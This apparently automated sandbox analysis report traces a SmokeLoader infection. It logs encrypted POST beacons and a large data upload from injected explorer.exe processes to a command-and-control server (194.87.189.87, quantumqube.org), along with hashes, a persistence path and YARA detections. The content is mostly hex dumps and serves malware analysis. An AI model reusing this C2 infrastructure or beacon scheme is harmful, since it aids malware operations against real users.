d3 6e a4 5e 14 85 a9 0e a1 79 e7 e2 8f d9 fc 87 1e 17 08 2a d3 a7 57 64 02 f2 1f 97 3a 75 05 d6 39 26 05 29 1b 93 de cb 73 67 b8 04 d4 23 37 bf be 0b 34 b2 74 c4 1a 80 c5 9c f5 2b 45 c2 a1 ce 66 f8 cd ce 41 e1 68 9b cb 45 74 60 87 17 b6 fb [TRUNCATED] Data Ascii: f70@g@GHSN'E\|6V#^.v'lR;762b(zxR@PwdGG6Jl3$5&"yBuxkx"3OJPxvw.^-(g2u+3Dk$1=&O%RnIH<\83\5?xpLs6k}n^yWd:u9&)sg#74t+EfAhEt`iVzu5(b>wl?rmbJ9TJxeByyOvF"04HRH=%\|\6\|gg;D`}k'z7)a< `t,a+~NE:91 [t}"?<Vs[-9\j?l^\Gesqq=,E5T%9bH<_zjpeH`!}-uIW}Yb*Dr`-+i9z&mc7L)<zA2w@z]S~<N&]rIFvRn!zrY4OLwkk}#tYhBkqKe)!0PXA2u)}%BobsA^B5PVEyS+dLJvjlMy%[e$$$NR"b73+{l_!],NM2`~ Cri,ojn0cJAa]< Z+DEqvZ@#j [TRUNCATED]
Oct 6, 2024 21:27:37.689363956 CEST	1236	IN	Data Raw: 1f 68 7b ff 8c 53 3e 87 69 23 3e 4a 98 d5 35 9e 75 b0 87 46 f6 35 e4 d3 d8 5b 75 70 28 b6 cc a5 52 27 8d 2b e4 2d 87 d5 32 91 53 97 5e 47 b3 b8 82 d4 05 09 44 fc 97 d8 59 cd 1e 8e 57 92 9e 4b 41 31 11 b7 05 a1 e0 a2 79 f8 13 17 16 6f 6b 73 b7 fa Data Ascii: h{S>i#>J5uF5[up(R'+-2S^GDYWKA1yoksLcWg!#VX\p^@IIpy5D:ND87z+'G~;}&v!eo\|c.@+XX8ro^u?_jb_/x.Nyg$f
Oct 6, 2024 21:27:37.689408064 CEST	128	IN	Data Raw: 38 cb f3 57 00 cf df 83 0b da 27 0f 47 34 fa 7f 3a ae e7 b1 a9 fc 32 71 75 fe 46 99 e9 84 85 6f 70 a5 82 79 d3 43 e3 30 75 82 36 2b 55 bc b6 35 b6 42 ab 20 b3 5c 20 d4 79 8e 73 b3 c4 07 df 40 47 cf d1 68 df c2 d7 b7 a1 2e 23 5b 76 43 a5 cf 34 ab Data Ascii: 8W'G4:2quFopyC0u6+U5B \ ys@Gh.#[vC4>uZE%U5%Yg7)>LA1bv#i
Oct 6, 2024 21:27:37.689439058 CEST	1236	IN	Data Raw: c6 24 91 86 41 51 c1 ee 45 ce 3d 7e 58 c5 f4 ca 75 92 ea f7 e4 ea 4e 32 3e 51 91 08 23 92 6b 3b ed e7 11 72 8b c2 18 27 97 78 17 a7 2c 63 c8 db 30 e9 6d fe e2 ab aa 3b d7 4d 51 55 a7 43 4c 39 e2 87 ec 10 7b 15 fe 2f 84 64 8d d6 75 83 ef 0d 7e f7 Data Ascii: $AQE=~XuN2>Q#k;r'x,c0m;MQUCL9{/du~\|#.xJ%77"26q7<EY}]uf:T9Z%>`qXq&fFt_~CMh2vNsae"x.V!#0
Oct 6, 2024 21:27:37.689492941 CEST	1236	IN	Data Raw: a7 5f 3f f1 26 c3 f6 56 5c d2 4b ad 66 60 f3 ee 30 8b 57 95 08 b6 ae c1 3b c6 86 9b c6 d3 6f 06 41 17 cf 74 a5 b9 27 9a a4 28 82 25 6e b7 da 12 47 cc 9d 8c 78 c4 2e 3f 98 79 b9 c0 e4 ec ee ea 32 f5 ca 4f 9b a6 61 c6 47 ea 37 7d da 47 b4 a4 7b 9d Data Ascii: _?&V\Kf`0W;oAt'(%nGx.?y2OaG7}G{-Ws\|P}vuoiu{\|0G.U'/;;c8Fbs>t7)Bo!"y0F.l35&lkQ}$kX-ja,y8~#0H6?Unj'_v}&
Oct 6, 2024 21:27:37.689529896 CEST	1236	IN	Data Raw: 93 8e 10 13 c6 15 a4 4e 79 6f 43 cb 98 0e df 93 b7 96 5c e2 c3 35 5a 51 9b f3 7e 7f d1 b8 69 e4 53 33 61 d6 32 17 7c 1d e5 8c 61 9d 58 80 22 65 86 e1 5d f0 8c 92 24 ba b7 5c 21 d9 61 b2 00 5c 0e 41 cf e4 02 05 36 f9 93 e6 27 46 2f 44 c1 a9 09 a9 Data Ascii: NyoC\5ZQ~iS3a2\|aX"e]$\!a\A6'F/Du0VlVE-}-@/5P^W"QL><#XkVc&j?8n,R}aXxTspBPoNPG^y@}f41ADPVu>9S:W
Oct 6, 2024 21:27:37.689564943 CEST	1236	IN	Data Raw: ba 0d 16 8f c7 77 ef a6 40 20 48 90 6b ef 0e 82 c9 3f f6 d4 cc 12 8c 61 a2 0d f8 fd 50 e7 e0 96 35 25 91 5b 8c 07 d0 b5 e9 f1 be 1e e8 95 53 cf 6c f1 78 bc 12 4a 70 2e 46 70 66 9d e1 93 60 22 7a 1e 19 4b 64 25 66 c0 d5 15 af 9b bd e1 78 07 fb 63 Data Ascii: w@ Hk?aP5%[SlxJp.Fpf`"zKd%fxcWa:(s'S.@{dqjRjM@q6$^]$;&o:{<44ob+C_4#H[qN#"kxOP^dttLje[Q%n)@7Ai
Oct 6, 2024 21:27:37.689599991 CEST	1236	IN	Data Raw: 4b a6 ee 6a ac cf ed ce fd 9b 55 b5 a6 5e 29 4c 6e 31 ff 3e 38 ad d4 9d 48 81 2f 43 18 f6 ff 9b 49 29 36 0b c3 87 76 82 16 71 9c dc de 23 eb ae 51 f3 43 02 5a 1a 9e 44 07 6f 78 c9 1b 9f 8b c0 6f 2a 7b 75 af fe 4f 7e 72 5e 46 da de a1 33 b6 16 f6 Data Ascii: KjU^)Ln1>8H/CI)6vq#QCZDoxo{uO~r^F3GpO)In7mNUNp}N]$r$Egp)#EwpI#r?tu-^4TwQ!d{9<_{N0@Q&_b_VB
Oct 6, 2024 21:27:37.689634085 CEST	760	IN	Data Raw: 40 a2 85 4c e5 4f 40 89 35 09 93 6e 0c 58 dc 02 ef 4f 2a dc fe 3f f9 b5 db c0 ac f5 c7 45 23 2b ac 1d b3 5a ac 5e 98 6d dc 1c 5a 46 03 8a 9c 0b d5 3c f5 7e 58 fd 55 bb 58 79 13 6e 8d 20 2a ac eb e2 57 2d fb ca e7 3f d7 d2 f7 75 90 ff 44 51 1c 49 Data Ascii: @LO@5nXO?E#+Z^mZF<~XUXyn W-?uDQI(U1ur 94;d=T&Aa)Rf?QmEx%'zvY_mwtct5myXrkg2Fp{:K&]*3h4N;^i@q1h$2epNnA
Oct 6, 2024 21:27:37.775978088 CEST	1236	IN	Data Raw: b5 49 3f 8f f5 0e 18 09 7e 39 74 66 d5 51 90 84 98 1e ee 7e e7 16 c6 83 f5 0f d8 55 1f c2 66 4b 60 f8 ef 09 6b ca af cf f9 a2 5f 27 01 b4 10 2f d9 87 dd 88 47 77 e3 3e 50 7f 6a a0 bd fe 49 9b 5e 5d 82 05 ed da 16 75 2f e2 42 ac ee ed 76 9c 16 0b Data Ascii: I?~9tfQ~UfK`k_'/Gw>PjI^]u/BvvwHdlNGG3D!5<!-jf4?RAuD\LS*4qNwe'hN%am-?U}<^eV)LO-AM4&+E,N`uV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49747	194.87.189.87	80	1868	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:27:42.369002104 CEST	280	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://quantumqube.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 501 Host: quantumqube.org
Oct 6, 2024 21:27:42.369024992 CEST	501	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 cb 84 0f 33 e7 0f 05 b5 f8 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 41 1e 61 6c 6e 68 7b 05 d5 0c 11 fc 0e 26 b0 fb 0e Data Ascii: O -{X1^B~f3p[X83Xc2]Aalnh{&V4jp%n cE5LgO%>e?q )V(dy0GQ4E65?nEz$Sw/"@"4xWOQC9i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49748	194.87.189.87	80	5440	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:28:16.087595940 CEST	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://quantumqube.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 6348785 Host: quantumqube.org
Oct 6, 2024 21:28:16.088781118 CEST	11124	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 cb 84 0f 33 e7 0f 05 b5 f8 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 41 1e 61 61 6e 68 7b 05 d5 0c 11 fc 0e 3e a4 cd 0b Data Ascii: O -{X1^B~f3p[X83Xc2]Aaanh{>U4#gSkTC'U<E);ef_<wqn1N,WP1z+_0j9%"(T@0z$#/z[6Ev$s30Bo?
Oct 6, 2024 21:28:16.092832088 CEST	1236	OUT	Data Raw: 66 94 d0 ac 88 e5 5f 55 8c f8 6c 15 ed 71 5b 7c e8 21 8f 2b c3 7e d5 25 0a ca c8 e4 8d cc 20 e7 34 d6 8e 78 a9 d1 06 5f 14 b8 88 56 0f f4 5b ea 65 99 c6 72 bf 71 d8 e0 8d 6a ab 10 68 20 7a 12 b3 64 af a1 6e 02 78 74 81 e3 c6 d2 cc be 10 dd 91 6f Data Ascii: f_Ulq[\|!+~% 4x_V[erqjh zdnxtol'}F:uKw8'Vq2Pdc6tYSK:kj0X~Rx8cEGV8rARM@pf>7q-7RI
Oct 6, 2024 21:28:16.093681097 CEST	2472	OUT	Data Raw: 1b 37 7e 6f 30 11 e6 42 c0 6f e5 cf ff 7f fc 3b 8f f8 d8 25 64 83 0c c3 45 93 8e ec 6d f6 49 7e 2b fb 29 0e f6 9f 5c 4c 06 6f 13 7b c7 06 6f c1 2b ad b2 58 04 28 91 54 ed b7 c2 68 e1 b1 c8 e8 27 fd 53 3f 45 30 ed 2c 4a cd 4f 17 73 24 99 fe 84 13 Data Ascii: 7~o0Bo;%dEmI~+)\Lo{o+X(Th'S?E0,JOs$^?nFg1z_:Bx`1IX(%40K0tZ)%I+]2rN/_9>4=,rN/t4t##LpW"]'tT:_g^xIWaH
Oct 6, 2024 21:28:16.093714952 CEST	4944	OUT	Data Raw: 3b 96 f3 ad ad db de 8f e2 31 51 ec 80 9f fe 10 f3 c6 ea 14 98 2f 63 52 14 79 c6 64 da 43 87 44 13 8f 02 8c 6d e9 ee c0 95 5b 8f 62 84 9f 85 de 67 e5 f4 5c 68 1a 07 18 c7 53 1a fa 4f 6b 1b b6 70 f0 5b 72 78 a4 c9 da fa 14 2e fe bd 9e 7b a3 fb a8 Data Ascii: ;1Q/cRydCDm[bg\hSOkp[rx.{B1}\qQB%C,>3DN~Y)h2haX{w!^ 1NC2 8 2.N4]H~^T7<u#P+*E$}
Oct 6, 2024 21:28:16.093743086 CEST	2472	OUT	Data Raw: 26 86 60 27 2c 52 81 71 45 10 dc 52 c5 82 28 4a c1 c3 79 17 4f 47 60 c6 ce 27 b7 21 66 14 7f 43 7a 82 11 3e be df e1 72 ac 54 67 04 65 6e 29 87 88 ca ad e2 50 80 5a 95 3c 3b 0d 52 4d e4 a9 62 11 86 6e 17 5a ba d0 57 42 1e 3c 98 2d b8 c2 58 cc af Data Ascii: &`',RqER(JyOG`'!fCz>rTgen)PZ<;RMbnZWB<-X\|"^6%s+/{.QUA8cS[DzPG,?AhHXLX8I:4x\|QHA>t!'Y"QR[wo%2Gqp
Oct 6, 2024 21:28:16.093767881 CEST	2472	OUT	Data Raw: c5 2a fe 3c 5c 04 61 d3 8d a5 ba e0 8b dc b8 be ab c6 15 a8 8b ef b6 dc 2b aa 5e 4a de 58 de 29 13 2a 84 f8 df 84 2d df 0f 59 85 2e 68 f4 62 87 2d 49 a5 ec 63 64 03 d6 cb 4f 38 7a 6f 8b 39 bf e7 9c 8e 82 ec 5e f5 69 af fa 32 29 16 3b 16 69 99 96 Data Ascii: <\a+^JX)-Y.hb-IcdO8zo9^i2);i"EZm+P<M+9.thwLv4nH!wk_uD&^_Xk5n_ht9$abEJ7[Hg\|<ti0DB1
Oct 6, 2024 21:28:16.093795061 CEST	2472	OUT	Data Raw: ca 1c 1c 6c 76 54 c9 9f df e6 30 69 5f ba d0 dd 16 99 ba 0b 5f e9 65 b9 cb 6b c7 b2 8a 46 a5 51 06 bb f8 20 c8 45 a6 59 a7 a4 7c d9 7b de ef 0a b9 70 a2 02 7a be 8d 91 8b 44 44 53 9a a5 03 32 0b 97 23 18 2f 4b 76 45 fb 1a 02 d0 8d 1e 21 0e 84 c3 Data Ascii: lvT0i__ekFQ EY\|{pzDDS2#/KvE!m-6vv.2Ur,b,<8g\|u,>J"G]+`Ol\|DaP}G_TY1U9JG]czh?t*;"U:lPzoU
Oct 6, 2024 21:28:16.093822956 CEST	4944	OUT	Data Raw: 54 92 80 2e a0 c0 61 ac e7 b2 7c a6 88 3d 68 c0 31 a1 9e d1 04 99 26 ff 50 7e e2 1e 6f 50 c1 9a 7f 8c b0 c3 4b 30 76 86 8b 9f 8c 17 01 96 f6 37 08 3a dc 19 02 d7 bc e2 2b 3e f3 97 9b 82 30 98 2a 82 92 b4 68 46 ec d1 31 c8 e2 29 39 45 26 ce 60 3a Data Ascii: T.a\|=h1&P~oPK0v7:+>0hF1)9E&`:;([0z6@v7)?yQBx@)O/+7`:tD+H50(g@CYQ4P4&mq'?""5nK>h;W? &UPO$-zod
Oct 6, 2024 21:28:16.093907118 CEST	2472	OUT	Data Raw: d0 b5 c0 e0 9f c0 37 36 2f 61 93 dc 8f f4 03 dc 8e 06 72 45 c0 b8 91 b2 e1 0f ed cc 04 2e 31 70 6d 67 89 54 67 77 a9 35 44 41 82 b3 19 8a 1f 96 b2 f7 e4 2d 1d eb 09 0d ef c2 b6 9e 38 6b 28 f6 21 9d e0 24 7c c1 a5 22 23 61 99 cb 97 9c 9c 20 92 3e Data Ascii: 76/arE.1pmgTgw5DA-8k(!$\|"#a ><Pl8uZeV^%'M^2n/l)VHdR5jI<RW9MsudqSf`%K_.ontC06k<&j
Oct 6, 2024 21:28:16.097847939 CEST	2472	OUT	Data Raw: bb c7 a8 aa cc b1 4c 2a a5 c9 fe 6e 86 57 d8 91 08 74 2f ab 77 39 24 25 d0 fa 17 3c 73 0b 5c 29 98 45 7a ac 00 75 28 1d 08 48 77 79 cc 81 ca 53 8f 19 16 1d b9 12 6a 6c 28 38 26 69 51 da d1 ba dd b5 e1 28 fc 78 fd 39 37 ad f4 1e ca b8 04 e4 f7 7b Data Ascii: LnWt/w9$%<s\)Ezu(HwySjl(8&iQ(x97{=dwiH<<E6$'{,"g'wKWMSh}A\|H?]T*d_Q[IrKt$[3']?fbVP-(mp1r
Oct 6, 2024 21:28:16.719196081 CEST	348	IN	HTTP/1.1 413 Request Entity Too Large Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:28:16 GMT Content-Type: text/html Content-Length: 183 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>413 Request Entity Too Large</title></head><body><center><h1>413 Request Entity Too Large</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49749	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:28:55.183792114 CEST	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wqvfywivxptqmt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: quantumqube.org
Oct 6, 2024 21:28:55.183851957 CEST	109	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 69 7b 05 d5 0d 11 fc 0e 5d d3 8e 7d Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]aini{]}%C}J_'5$M4
Oct 6, 2024 21:28:55.994390011 CEST	235	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:28:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49750	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:29:10.859481096 CEST	281	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://raievqxnfbig.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: quantumqube.org
Oct 6, 2024 21:29:10.859503031 CEST	109	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 69 7b 05 d5 0d 11 fc 0e 5d d3 8e 7d Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]aini{]}%C}J_'5$M4
Oct 6, 2024 21:29:11.760560036 CEST	235	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:29:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49751	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:29:29.314513922 CEST	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vvywjtocjkatexf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: quantumqube.org
Oct 6, 2024 21:29:29.314553022 CEST	109	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 69 7b 05 d5 0d 11 fc 0e 5d d3 8e 7d Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]aini{]}%C}J_'5$M4
Oct 6, 2024 21:29:30.176273108 CEST	235	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:29:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49752	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:29:48.248104095 CEST	280	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mxfkxoyxtgh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: quantumqube.org
Oct 6, 2024 21:29:48.248116970 CEST	109	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 69 7b 05 d5 0d 11 fc 0e 5d d3 8e 7d Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]aini{]}%C}J_'5$M4
Oct 6, 2024 21:29:48.979929924 CEST	235	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:29:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49753	194.87.189.87	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 21:30:05.055474997 CEST	282	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qxdsgfawkutaw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: quantumqube.org
Oct 6, 2024 21:30:05.055516005 CEST	109	OUT	Data Raw: 4f c3 20 0a 9d 0d 2d 7b 16 02 58 df 92 31 5e a6 82 b9 cb a6 b1 da 8a 12 42 7e cb 66 b6 1f c3 11 15 fa 12 33 70 5b bf 17 85 58 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 69 7b 05 d5 0d 11 fc 0e 5d d3 8e 7d Data Ascii: O -{X1^B~f3p[X8Mv[(Xc2]aini{]}%C}J_'5$M4
Oct 6, 2024 21:30:05.827975988 CEST	235	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:30:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0
Oct 6, 2024 21:30:06.047552109 CEST	235	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.1 Date: Sun, 06 Oct 2024 19:30:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 0d 0a 2b 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 0d 0a 30 0d 0a 0d 0a Data Ascii: 2f+g@GHSN'E\|6V#^.v0

Analysis Process: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exePID: 3340, Parent PID: 4084

General

Target ID:	0
Start time:	15:26:06
Start date:	06/10/2024
Path:	C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe"
Imagebase:	0x400000
File size:	37'888 bytes
MD5 hash:	8E177D78AE583957804B5A933D6A3F1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:26:11
Start date:	06/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	15:26:31
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Roaming\hfetwhc
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hfetwhc
Imagebase:	0x400000
File size:	37'888 bytes
MD5 hash:	8E177D78AE583957804B5A933D6A3F1E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\hfetwhc, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:27:37
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x970000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:27:38
Start date:	06/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

